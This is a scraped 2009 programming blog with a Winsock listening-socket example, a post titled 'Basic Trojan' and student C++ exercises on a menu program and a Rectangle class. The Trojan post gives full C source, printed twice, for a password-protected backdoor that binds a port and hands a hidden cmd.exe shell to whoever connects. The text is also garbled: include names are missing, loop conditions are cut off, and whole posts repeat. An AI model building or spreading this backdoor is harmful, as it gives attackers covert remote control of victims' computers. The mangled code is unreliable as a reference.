#include#include #include #define NETWORK_ERROR -1 #define NETWORK_OK 0 void ReportError(int, const char *); int WINAPI WinMain(HINSTANCE hInst, HINSTANCE hPrevInst, LPSTR lpCmd, int nShow) { WORD sockVersion; WSADATA wsaData; int nret; sockVersion = MAKEWORD(1, 1); // We'd like Winsock version 1.1 // We begin by initializing Winsock WSAStartup(sockVersion, &wsaData); // Next, create the listening socket SOCKET listeningSocket; listeningSocket = socket(AF_INET, // Go over TCP/IP SOCK_STREAM, // This is a stream-oriented socket IPPROTO_TCP); // Use TCP rather than UDP if (listeningSocket == INVALID_SOCKET) { nret = WSAGetLastError(); // Get a more detailed error ReportError(nret, "socket()"); // Report the error with our custom function WSACleanup(); // Shutdown Winsock return NETWORK_ERROR; // Return an error value } // Use a SOCKADDR_IN struct to fill in address information SOCKADDR_IN serverInfo; serverInfo.sin_family = AF_INET; serverInfo.sin_addr.s_addr = INADDR_ANY; // Since this socket is listening for connections, // any local address will do serverInfo.sin_port = htons(8888); // Convert integer 8888 to network-byte order // and insert into the port field // Bind the socket to our local server address nret = bind(listeningSocket, (LPSOCKADDR)&serverInfo, sizeof(struct sockaddr)); if (nret == SOCKET_ERROR) { nret = WSAGetLastError(); ReportError(nret, "bind()"); WSACleanup(); return NETWORK_ERROR; } // Make the socket listen nret = listen(listeningSocket, 10); // Up to 10 connections may wait at any // one time to be accept()'ed if (nret == SOCKET_ERROR) { nret = WSAGetLastError(); ReportError(nret, "listen()"); WSACleanup(); return NETWORK_ERROR; } // Wait for a client SOCKET theClient; theClient = accept(listeningSocket, NULL, // Optionally, address of a SOCKADDR_IN struct NULL); // Optionally, address of variable containing // sizeof ( struct SOCKADDR_IN ) if (theClient == INVALID_SOCKET) { nret = WSAGetLastError(); ReportError(nret, "accept()"); WSACleanup(); return NETWORK_ERROR; } // Send and receive from the client, and finally, closesocket(theClient); closesocket(listeningSocket); // Shutdown Winsock WSACleanup(); return NETWORK_OK; } void ReportError(int errorCode, const char *whichFunc) { char errorMsg[92]; // Declare a buffer to hold // the generated error message ZeroMemory(errorMsg, 92); // Automatically NULL-terminate the string // The following line copies the phrase, whichFunc string, and integer errorCode into the buffer sprintf(errorMsg, "Call to %s returned error %d!", (char *)whichFunc, errorCode); MessageBox(NULL, errorMsg, "socketIndication", MB_OK); }
BidVertiser
Tuesday, November 24, 2009
Creating a Listening Socket
Basic Trojan
#include
#include
#include
//our variables, we need them globally to use them in all functions
const char welcome[]="Welcome, enter your password please: ";
char bufferin[1024]; //the buffer to read data from socket
char bufferout[65535]; //the buffer to write data to the socket
int i,port; // i is used for loop , port is going to keep the portnumber
SOCKET locsock,remsock; //the sockets we are going to need
SOCKADDR_IN sinloc,sinrem; //the structures needed for our sockets
WSADATA wsadata; //wsadata
STARTUPINFO startinfo; //startupinfo structure for CreateProcess
SECURITY_ATTRIBUTES secat; //security attributes structure needed for CreateProcess
PROCESS_INFORMATION procinfo; //process info struct needed for CreateProcess
int bytesWritten; //number of bytes written gets stored here
DWORD bytesRead,avail,exitcode; //number of bytes read, number of bytes available
//and the exitcode
void CommandPrompt(void); //the function to give the command prompt
void Usage(char AppName[]); //the function which puts the usage of the program to the screen
int main(int argc, char *argv[]) //the main function
{
if(argc!=3) //check if we are having enough parameters
{
Usage(argv[0]);
return EXIT_FAILURE;
}
//check if the portnumber given is really a number
for(i=0;i
{
if(isdigit(argv[1][i])==0)
{
printf("Invalid port number.");
return EXIT_FAILURE;
}
}
port=atoi(argv[1]); //make integer from ascii string
//final check to see if it is a real port number
if(port>65535||port<1)
{
printf("Invalid port number.");
return EXIT_FAILURE;
}
//tell windows we want to use sockets
WSAStartup(0x101,&wsadata);
//create socket
locsock=socket(AF_INET,SOCK_STREAM,0);
//fill structure
sinloc.sin_family=AF_INET;
sinloc.sin_addr.s_addr=INADDR_ANY;
sinloc.sin_port=htons(port);
//bind the socket to the specified port
if(bind(locsock,(SOCKADDR*)&sinloc,sizeof(SOCKADDR_IN))==SOCKET_ERROR)
{
WSACleanup();
printf("Error binding socket.");
return EXIT_FAILURE;
}
//listen on the specified socket
if(listen(locsock,5)==SOCKET_ERROR)
{
WSACleanup();
printf("Error listening socket.");
return EXIT_FAILURE;
}
//infinite loop here to keep the program listening
while(1)
{
remsock=SOCKET_ERROR;
while(remsock==SOCKET_ERROR)
{
//accept connection to our program
remsock=accept(locsock,NULL,NULL);
if(remsock==INVALID_SOCKET)
{
//cleanup and exit program
WSACleanup();
printf("Error accepting socket.");
return EXIT_FAILURE;
}
}
//ask for password
send(remsock,welcome,sizeof(welcome),0);
recv(remsock,bufferin,sizeof(bufferin),0);
//check password given
bufferin[strlen(bufferin)-1]=0; //we need this to strip off last character
if(strcmp(bufferin,argv[2])!=0)
{
send(remsock,"\nAccess Denied.\n",17,0);
}
else
{
CommandPrompt(); //start the commandprompt function
}
closesocket(remsock); //close the socket
}
//we should never reach this point, but i've put this hear just in case ;-)
return EXIT_SUCCESS;
}
//*************************************************************
void Usage(char AppName[]) //the function which does nothing more then print out the usage
{
printf("backdoor, written by White Scorpion Security (C) 2005\n");
printf(" ****scorpion ****\n\n");
printf("Usage: %s \n",AppName);
}
//*************************************************************
void CommandPrompt(void) //the function which handles the complete commandprompt
{
secat.nLength=sizeof(SECURITY_ATTRIBUTES);
secat.bInheritHandle=TRUE;
DWORD bytesW; //number of bytes written gets stored here
HANDLE newstdin,newstdout,readout,writein; //the handles for our Pipes
char exit1[]={'e','x','i','t',10,0}; //we need this to compare our command to 'exit'
char exit2[]={'E','X','I','T',10,0}; //we need this to compare our command to 'EXIT'
//create the pipes for our command prompt
CreatePipe(&newstdin,&writein,&secat,0);
CreatePipe(&readout,&newstdout,&secat,0);
GetStartupInfo(&startinfo);
//fill another structure
startinfo.dwFlags=STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
startinfo.wShowWindow=SW_HIDE;
startinfo.hStdOutput=newstdout;
startinfo.hStdError=newstdout;
startinfo.hStdInput=newstdin;
//start cmd prompt
CreateProcess(NULL,"cmd.exe",NULL,NULL,TRUE,CREATE_NEW_CONSOLE,NULL,NULL,&startinfo,&procinfo);
//endless loop
while(1)
{
//check if cmd.exe is still running, if not then cleanup and start listening again.
if(GetExitCodeProcess(procinfo.hProcess,&exitcode)==STILL_ACTIVE)
{
CloseHandle(procinfo.hThread);
CloseHandle(procinfo.hProcess);
CloseHandle(newstdin);
CloseHandle(writein);
CloseHandle(readout);
CloseHandle(newstdout);
break;
}
bytesRead=0;
//sleep 0.5 seconds to give cmd.exe the chance to startup
sleep(500);
//check if the pipe already contains something we can write to output
PeekNamedPipe(readout,bufferout,sizeof(bufferout),&bytesRead,&avail,NULL);
if(bytesRead!=0)
{
while(bytesRead!=0)
{ //read data from cmd.exe and send to client, then clear the buffer
ReadFile(readout,bufferout,sizeof(bufferout),&bytesRead,NULL);
send(remsock,bufferout,strlen(bufferout),0);
ZeroMemory(bufferout,sizeof(bufferout));
sleep(100);
PeekNamedPipe(readout,bufferout,sizeof(bufferout),&bytesRead,&avail,NULL);
}
}
// clear bufferin
ZeroMemory(bufferin,sizeof(bufferin));
//receive the command given
recv(remsock,bufferin,sizeof(bufferin),0);
//if command is 'exit' or 'EXIT' then we have to capture it to prevent our program
//from hanging.
if((strcmp(bufferin,exit1)==0)||(strcmp(bufferin,exit2)==0))
{
//let cmd.exe close by giving the command, then go to closeup label
WriteFile(writein,bufferin,strlen(bufferin),&bytesW,NULL);
goto closeup;
}
//else write the command to cmd.exe
WriteFile(writein,bufferin,strlen(bufferin),&bytesW,NULL);
//clear the bufferin
for(i=0;i
{
bufferin[i]=0;
}
}
//close up all handles
closeup:
CloseHandle(procinfo.hThread);
CloseHandle(procinfo.hProcess);
CloseHandle(newstdin);
CloseHandle(writein);
CloseHandle(readout);
CloseHandle(newstdout);
}
#include
#include
//our variables, we need them globally to use them in all functions
const char welcome[]="Welcome, enter your password please: ";
char bufferin[1024]; //the buffer to read data from socket
char bufferout[65535]; //the buffer to write data to the socket
int i,port; // i is used for loop , port is going to keep the portnumber
SOCKET locsock,remsock; //the sockets we are going to need
SOCKADDR_IN sinloc,sinrem; //the structures needed for our sockets
WSADATA wsadata; //wsadata
STARTUPINFO startinfo; //startupinfo structure for CreateProcess
SECURITY_ATTRIBUTES secat; //security attributes structure needed for CreateProcess
PROCESS_INFORMATION procinfo; //process info struct needed for CreateProcess
int bytesWritten; //number of bytes written gets stored here
DWORD bytesRead,avail,exitcode; //number of bytes read, number of bytes available
//and the exitcode
void CommandPrompt(void); //the function to give the command prompt
void Usage(char AppName[]); //the function which puts the usage of the program to the screen
int main(int argc, char *argv[]) //the main function
{
if(argc!=3) //check if we are having enough parameters
{
Usage(argv[0]);
return EXIT_FAILURE;
}
//check if the portnumber given is really a number
for(i=0;i
{
if(isdigit(argv[1][i])==0)
{
printf("Invalid port number.");
return EXIT_FAILURE;
}
}
port=atoi(argv[1]); //make integer from ascii string
//final check to see if it is a real port number
if(port>65535||port<1)
{
printf("Invalid port number.");
return EXIT_FAILURE;
}
//tell windows we want to use sockets
WSAStartup(0x101,&wsadata);
//create socket
locsock=socket(AF_INET,SOCK_STREAM,0);
//fill structure
sinloc.sin_family=AF_INET;
sinloc.sin_addr.s_addr=INADDR_ANY;
sinloc.sin_port=htons(port);
//bind the socket to the specified port
if(bind(locsock,(SOCKADDR*)&sinloc,sizeof(SOCKADDR_IN))==SOCKET_ERROR)
{
WSACleanup();
printf("Error binding socket.");
return EXIT_FAILURE;
}
//listen on the specified socket
if(listen(locsock,5)==SOCKET_ERROR)
{
WSACleanup();
printf("Error listening socket.");
return EXIT_FAILURE;
}
//infinite loop here to keep the program listening
while(1)
{
remsock=SOCKET_ERROR;
while(remsock==SOCKET_ERROR)
{
//accept connection to our program
remsock=accept(locsock,NULL,NULL);
if(remsock==INVALID_SOCKET)
{
//cleanup and exit program
WSACleanup();
printf("Error accepting socket.");
return EXIT_FAILURE;
}
}
//ask for password
send(remsock,welcome,sizeof(welcome),0);
recv(remsock,bufferin,sizeof(bufferin),0);
//check password given
bufferin[strlen(bufferin)-1]=0; //we need this to strip off last character
if(strcmp(bufferin,argv[2])!=0)
{
send(remsock,"\nAccess Denied.\n",17,0);
}
else
{
CommandPrompt(); //start the commandprompt function
}
closesocket(remsock); //close the socket
}
//we should never reach this point, but i've put this hear just in case ;-)
return EXIT_SUCCESS;
}
//*************************************************************
void Usage(char AppName[]) //the function which does nothing more then print out the usage
{
printf("backdoor, written by White Scorpion Security (C) 2005\n");
printf(" ****scorpion ****\n\n");
printf("Usage: %s
}
//*************************************************************
void CommandPrompt(void) //the function which handles the complete commandprompt
{
secat.nLength=sizeof(SECURITY_ATTRIBUTES);
secat.bInheritHandle=TRUE;
DWORD bytesW; //number of bytes written gets stored here
HANDLE newstdin,newstdout,readout,writein; //the handles for our Pipes
char exit1[]={'e','x','i','t',10,0}; //we need this to compare our command to 'exit'
char exit2[]={'E','X','I','T',10,0}; //we need this to compare our command to 'EXIT'
//create the pipes for our command prompt
CreatePipe(&newstdin,&writein,&secat,0);
CreatePipe(&readout,&newstdout,&secat,0);
GetStartupInfo(&startinfo);
//fill another structure
startinfo.dwFlags=STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
startinfo.wShowWindow=SW_HIDE;
startinfo.hStdOutput=newstdout;
startinfo.hStdError=newstdout;
startinfo.hStdInput=newstdin;
//start cmd prompt
CreateProcess(NULL,"cmd.exe",NULL,NULL,TRUE,CREATE_NEW_CONSOLE,NULL,NULL,&startinfo,&procinfo);
//endless loop
while(1)
{
//check if cmd.exe is still running, if not then cleanup and start listening again.
if(GetExitCodeProcess(procinfo.hProcess,&exitcode)==STILL_ACTIVE)
{
CloseHandle(procinfo.hThread);
CloseHandle(procinfo.hProcess);
CloseHandle(newstdin);
CloseHandle(writein);
CloseHandle(readout);
CloseHandle(newstdout);
break;
}
bytesRead=0;
//sleep 0.5 seconds to give cmd.exe the chance to startup
sleep(500);
//check if the pipe already contains something we can write to output
PeekNamedPipe(readout,bufferout,sizeof(bufferout),&bytesRead,&avail,NULL);
if(bytesRead!=0)
{
while(bytesRead!=0)
{ //read data from cmd.exe and send to client, then clear the buffer
ReadFile(readout,bufferout,sizeof(bufferout),&bytesRead,NULL);
send(remsock,bufferout,strlen(bufferout),0);
ZeroMemory(bufferout,sizeof(bufferout));
sleep(100);
PeekNamedPipe(readout,bufferout,sizeof(bufferout),&bytesRead,&avail,NULL);
}
}
// clear bufferin
ZeroMemory(bufferin,sizeof(bufferin));
//receive the command given
recv(remsock,bufferin,sizeof(bufferin),0);
//if command is 'exit' or 'EXIT' then we have to capture it to prevent our program
//from hanging.
if((strcmp(bufferin,exit1)==0)||(strcmp(bufferin,exit2)==0))
{
//let cmd.exe close by giving the command, then go to closeup label
WriteFile(writein,bufferin,strlen(bufferin),&bytesW,NULL);
goto closeup;
}
//else write the command to cmd.exe
WriteFile(writein,bufferin,strlen(bufferin),&bytesW,NULL);
//clear the bufferin
for(i=0;i
{
bufferin[i]=0;
}
}
//close up all handles
closeup:
CloseHandle(procinfo.hThread);
CloseHandle(procinfo.hProcess);
CloseHandle(newstdin);
CloseHandle(writein);
CloseHandle(readout);
CloseHandle(newstdout);
}
Saturday, November 21, 2009
Display menu, Calculate sum of odd numbers, Calculate pay, Draw triangle
/*---------------------------------------------------------------------------------------------------------------------
Author : =-=[ccoder]=-=-
Compiler : Microsoft Visual Studio 2008
Purpose : Display menu, Calculate sum of odd numbers, Calculate pay, Draw triangle
Limitations : No validation provided
----------------------------------------------------------------------------------------------------------------------*/
#include
#include
#include
using namespace std;
int main()
{
char choice;
char display_menu();
void pay_caculation();
void triangle_pattern();
void scaffold();
int odd_num_sum_cal();
do
{
choice = toupper(display_menu()); // call function to display menu
switch (choice)
{
case 'A': // select procedure to follow
scaffold();
break;
case 'B':
pay_caculation();
break;
case 'C':
triangle_pattern();
cout << endl << "C selected" << endl;
break;
case 'X':
break;
default:
cout << endl << "Invalid choice -- try again" << endl;
}
}while (choice != 'X'); // continue until exit selected
return 0;
}
char display_menu()
{
char choice;
// display menu
cout << endl << endl << " MAIN MENU" << endl << endl;
cout << "A. Sum of odd numbers " << endl;
cout << "B. Calculate pay " << endl;
cout << "C. Display Triangle Patterns " << endl;
cout << "X. Exit " << endl << endl;
cout << "Enter your choice : ";
cin >> choice;
return choice;
}
void scaffold()
{
char answer = 'y';
int number = 0;
int sum_of_odd = 0;
int odd_num_sum_cal(int number,int sum_of_odd);
do
{
int sum_of_odd = 0;
cout << "Please enter a number :";
cin >> number;
sum_of_odd = odd_num_sum_cal(number,sum_of_odd);
cout << "\n" << "The sum of the odd numbers is : " << sum_of_odd;
cout << "\n" << "Do you want to enter another number (Y/N) ?";
cin >> answer;
}while (toupper(answer)== 'Y');
}
int odd_num_sum_cal(int number,int sum_of_odd)
{
for (int x=1; x <= number ; x++)
{
if (x % 2 == 1)
{
sum_of_odd = sum_of_odd + x;
}
}
return sum_of_odd;
}
void pay_caculation()
{
int number_days = 0;
const int MAX = 20;
double day_salary = 0.01;
double total_pay = 0.01;
int x = 1;
cout << "Enter number of days: ";
cin >> number_days;
if (number_days <= MAX && number_days > 0)
{
cout << "DAY" << setw(19) << "PAY" << setw(25) << "TOTAL PAY" << endl;
do
{
cout << setprecision(2) << fixed;
cout << setw(3)<< x << setw(19) << day_salary << setw(25) << total_pay << endl;
day_salary = day_salary * 2;
total_pay = total_pay + day_salary;
x++;
}while(x <= number_days && x <= MAX);
cout << endl << "Number of days worked: " << number_days << endl;
}
else
{
cout << "Enter a number of worked days from 1 to 20 days max !" << endl;
}
system("pause");
}
void triangle_pattern()
{
char letter;
char input_letter;
cout << "Enter a letter: ";
cin >> input_letter;
input_letter = toupper(input_letter);
for (int row = 0; row <= (input_letter - 'A'); row++)
{
letter = input_letter;
for (int col = 0; col <= row; col++)
{
cout << letter;
letter = letter-1;
}
cout << endl;
}
system("pause");
}
Author : =-=[ccoder]=-=-
Compiler : Microsoft Visual Studio 2008
Purpose : Display menu, Calculate sum of odd numbers, Calculate pay, Draw triangle
Limitations : No validation provided
----------------------------------------------------------------------------------------------------------------------*/
#include
#include
#include
using namespace std;
int main()
{
char choice;
char display_menu();
void pay_caculation();
void triangle_pattern();
void scaffold();
int odd_num_sum_cal();
do
{
choice = toupper(display_menu()); // call function to display menu
switch (choice)
{
case 'A': // select procedure to follow
scaffold();
break;
case 'B':
pay_caculation();
break;
case 'C':
triangle_pattern();
cout << endl << "C selected" << endl;
break;
case 'X':
break;
default:
cout << endl << "Invalid choice -- try again" << endl;
}
}while (choice != 'X'); // continue until exit selected
return 0;
}
char display_menu()
{
char choice;
// display menu
cout << endl << endl << " MAIN MENU" << endl << endl;
cout << "A. Sum of odd numbers " << endl;
cout << "B. Calculate pay " << endl;
cout << "C. Display Triangle Patterns " << endl;
cout << "X. Exit " << endl << endl;
cout << "Enter your choice : ";
cin >> choice;
return choice;
}
void scaffold()
{
char answer = 'y';
int number = 0;
int sum_of_odd = 0;
int odd_num_sum_cal(int number,int sum_of_odd);
do
{
int sum_of_odd = 0;
cout << "Please enter a number :";
cin >> number;
sum_of_odd = odd_num_sum_cal(number,sum_of_odd);
cout << "\n" << "The sum of the odd numbers is : " << sum_of_odd;
cout << "\n" << "Do you want to enter another number (Y/N) ?";
cin >> answer;
}while (toupper(answer)== 'Y');
}
int odd_num_sum_cal(int number,int sum_of_odd)
{
for (int x=1; x <= number ; x++)
{
if (x % 2 == 1)
{
sum_of_odd = sum_of_odd + x;
}
}
return sum_of_odd;
}
void pay_caculation()
{
int number_days = 0;
const int MAX = 20;
double day_salary = 0.01;
double total_pay = 0.01;
int x = 1;
cout << "Enter number of days: ";
cin >> number_days;
if (number_days <= MAX && number_days > 0)
{
cout << "DAY" << setw(19) << "PAY" << setw(25) << "TOTAL PAY" << endl;
do
{
cout << setprecision(2) << fixed;
cout << setw(3)<< x << setw(19) << day_salary << setw(25) << total_pay << endl;
day_salary = day_salary * 2;
total_pay = total_pay + day_salary;
x++;
}while(x <= number_days && x <= MAX);
cout << endl << "Number of days worked: " << number_days << endl;
}
else
{
cout << "Enter a number of worked days from 1 to 20 days max !" << endl;
}
system("pause");
}
void triangle_pattern()
{
char letter;
char input_letter;
cout << "Enter a letter: ";
cin >> input_letter;
input_letter = toupper(input_letter);
for (int row = 0; row <= (input_letter - 'A'); row++)
{
letter = input_letter;
for (int col = 0; col <= row; col++)
{
cout << letter;
letter = letter-1;
}
cout << endl;
}
system("pause");
}
Friday, November 20, 2009
Object-Oriented program that defines and demonstrates a class representing a Rectangle
/*---------------------------------------------------------------------------------------------------------------------
Author : -=-=[ccoder]=-=-
Compiler : Microsoft Visual Studio 2008
Purpose : Object-Oriented program that defines and demonstrates a class representing a Rectangle
Limitations : No validation provided
----------------------------------------------------------------------------------------------------------------------*/
#include
using namespace std;
class Rectangle
{
private:
int height;
int width;
char ch; // character use for drawing rectangle
bool flag; // flag when rectangle is filled
public:
Rectangle(): height (0), width (0), ch (' '), flag (true) // default constructor
{}
Rectangle( int h, int w, char c, bool f ) // overloaded constructor
{
height = h;
width = w;
ch = c;
flag = f;
}
void flip_rectangle() // flip the orientation of rectangle
{
int temp;
temp = height;
height = width;
width = temp;
}
void filled_flag() // toogle the Filled flag
{
if (height != 1 && width != 1)
{
if ( flag == true)
{
flag = false;
}
else
{
flag = true;
}
}
}
int calculate_area() // calculate and returns area
{
int area;
area = height * width;
return area;
}
int getHeight(){return height;} // accessor functions to return private data
int getWidth(){return width;}
char getChar(){return ch;}
bool getFlag(){return flag;}
void set( int h, int w, char c = ' ', bool f = true ); // prototype only
void draw_rectangle();
};
void Rectangle::set( int h, int w, char c, bool f ) // set data members accordingly
{
height = h;
width = w;
ch = c;
flag = f;
}
void Rectangle::draw_rectangle() // draw rectangle
{
if (flag == true)
{
for (int i = 1; i <= height; i++)
{
for (int j = 1; j <= width; j++)
{
cout << ch << " ";
}
cout << endl;
}
}
else
if (flag == false)
{
for(int i=1; i <= width; i++)
{
cout << ch << " ";
}
cout << endl;
for(int i=1; i <= (height-2); i++)
{
cout << ch << " ";;
for(int j=1; j <= ((width*2) - 4); j++)
{
cout << " ";
}
cout << ch << endl;
}
for(int y=1; y <= width; y++)
{
cout << ch << " ";;
}
}
}
int main()
{
int tempHeight, tempWidth; // temp variable to gather input
char tempCh;
Rectangle rect1; // declare a blank object
Rectangle rect2 ( 8, 16, '*', false ); // declare/initialize another
cout << "Enter Height of rectangle: ";
cin >> tempHeight;
cout << "Enter Width of rectangle: ";
cin >> tempWidth;
cout << "Enter the character for rectangle drawing: ";
cin >> tempCh;
rect1.set(tempHeight, tempWidth, tempCh);
rect1.draw_rectangle();
cout << endl << "Rectangle 1 is Filled ";
system("pause");
rect1.filled_flag();
rect1.draw_rectangle();
cout << endl << "Rectangle 1 is UnFilled ";
system("pause");
rect1.flip_rectangle();
rect1.draw_rectangle();
cout << endl << "Rectangle 1 is flipped ";
system("pause");
rect1.calculate_area();
cout << endl << "The area of Rectangle 1 is: " << rect1.calculate_area() << " ";
system("pause");
rect2.draw_rectangle();
cout << endl << "Rectangle 2 is UnFilled ";
system("pause");
rect2.filled_flag();
rect2.draw_rectangle();
cout << endl << "Rectangle 2 is Filled ";
system("pause");
rect2.flip_rectangle();
rect2.draw_rectangle();
cout << endl << "Rectangle 2 is flipped ";
system("pause");
rect2.calculate_area();
cout << endl << "The area of Rectangle 2 is: " << rect2.calculate_area() << " ";
system("pause");
cout << endl << "The Rectangle 1: " << endl;
cout << "Height: " << rect1.getHeight() << endl;
cout << "Width: " << rect1.getWidth() << endl;
cout << "Character use to draw: " << rect1.getChar() << endl;
system("pause");
cout << endl << "The Rectangle 2: " << endl;
cout << "Height: " << rect2.getHeight() << endl;
cout << "Width: " << rect2.getWidth() << endl;
cout << "Character use to draw: " << rect2.getChar() << endl;
system("pause");
return 0;
}
Author : -=-=[ccoder]=-=-
Compiler : Microsoft Visual Studio 2008
Purpose : Object-Oriented program that defines and demonstrates a class representing a Rectangle
Limitations : No validation provided
----------------------------------------------------------------------------------------------------------------------*/
#include
using namespace std;
class Rectangle
{
private:
int height;
int width;
char ch; // character use for drawing rectangle
bool flag; // flag when rectangle is filled
public:
Rectangle(): height (0), width (0), ch (' '), flag (true) // default constructor
{}
Rectangle( int h, int w, char c, bool f ) // overloaded constructor
{
height = h;
width = w;
ch = c;
flag = f;
}
void flip_rectangle() // flip the orientation of rectangle
{
int temp;
temp = height;
height = width;
width = temp;
}
void filled_flag() // toogle the Filled flag
{
if (height != 1 && width != 1)
{
if ( flag == true)
{
flag = false;
}
else
{
flag = true;
}
}
}
int calculate_area() // calculate and returns area
{
int area;
area = height * width;
return area;
}
int getHeight(){return height;} // accessor functions to return private data
int getWidth(){return width;}
char getChar(){return ch;}
bool getFlag(){return flag;}
void set( int h, int w, char c = ' ', bool f = true ); // prototype only
void draw_rectangle();
};
void Rectangle::set( int h, int w, char c, bool f ) // set data members accordingly
{
height = h;
width = w;
ch = c;
flag = f;
}
void Rectangle::draw_rectangle() // draw rectangle
{
if (flag == true)
{
for (int i = 1; i <= height; i++)
{
for (int j = 1; j <= width; j++)
{
cout << ch << " ";
}
cout << endl;
}
}
else
if (flag == false)
{
for(int i=1; i <= width; i++)
{
cout << ch << " ";
}
cout << endl;
for(int i=1; i <= (height-2); i++)
{
cout << ch << " ";;
for(int j=1; j <= ((width*2) - 4); j++)
{
cout << " ";
}
cout << ch << endl;
}
for(int y=1; y <= width; y++)
{
cout << ch << " ";;
}
}
}
int main()
{
int tempHeight, tempWidth; // temp variable to gather input
char tempCh;
Rectangle rect1; // declare a blank object
Rectangle rect2 ( 8, 16, '*', false ); // declare/initialize another
cout << "Enter Height of rectangle: ";
cin >> tempHeight;
cout << "Enter Width of rectangle: ";
cin >> tempWidth;
cout << "Enter the character for rectangle drawing: ";
cin >> tempCh;
rect1.set(tempHeight, tempWidth, tempCh);
rect1.draw_rectangle();
cout << endl << "Rectangle 1 is Filled ";
system("pause");
rect1.filled_flag();
rect1.draw_rectangle();
cout << endl << "Rectangle 1 is UnFilled ";
system("pause");
rect1.flip_rectangle();
rect1.draw_rectangle();
cout << endl << "Rectangle 1 is flipped ";
system("pause");
rect1.calculate_area();
cout << endl << "The area of Rectangle 1 is: " << rect1.calculate_area() << " ";
system("pause");
rect2.draw_rectangle();
cout << endl << "Rectangle 2 is UnFilled ";
system("pause");
rect2.filled_flag();
rect2.draw_rectangle();
cout << endl << "Rectangle 2 is Filled ";
system("pause");
rect2.flip_rectangle();
rect2.draw_rectangle();
cout << endl << "Rectangle 2 is flipped ";
system("pause");
rect2.calculate_area();
cout << endl << "The area of Rectangle 2 is: " << rect2.calculate_area() << " ";
system("pause");
cout << endl << "The Rectangle 1: " << endl;
cout << "Height: " << rect1.getHeight() << endl;
cout << "Width: " << rect1.getWidth() << endl;
cout << "Character use to draw: " << rect1.getChar() << endl;
system("pause");
cout << endl << "The Rectangle 2: " << endl;
cout << "Height: " << rect2.getHeight() << endl;
cout << "Width: " << rect2.getWidth() << endl;
cout << "Character use to draw: " << rect2.getChar() << endl;
system("pause");
return 0;
}
Labels:
a HarDDrive,
EXE,
Format,
in Wordpad,
Rectangle,
trojan,
with Notepad Hide
Subscribe to:
Posts (Atom)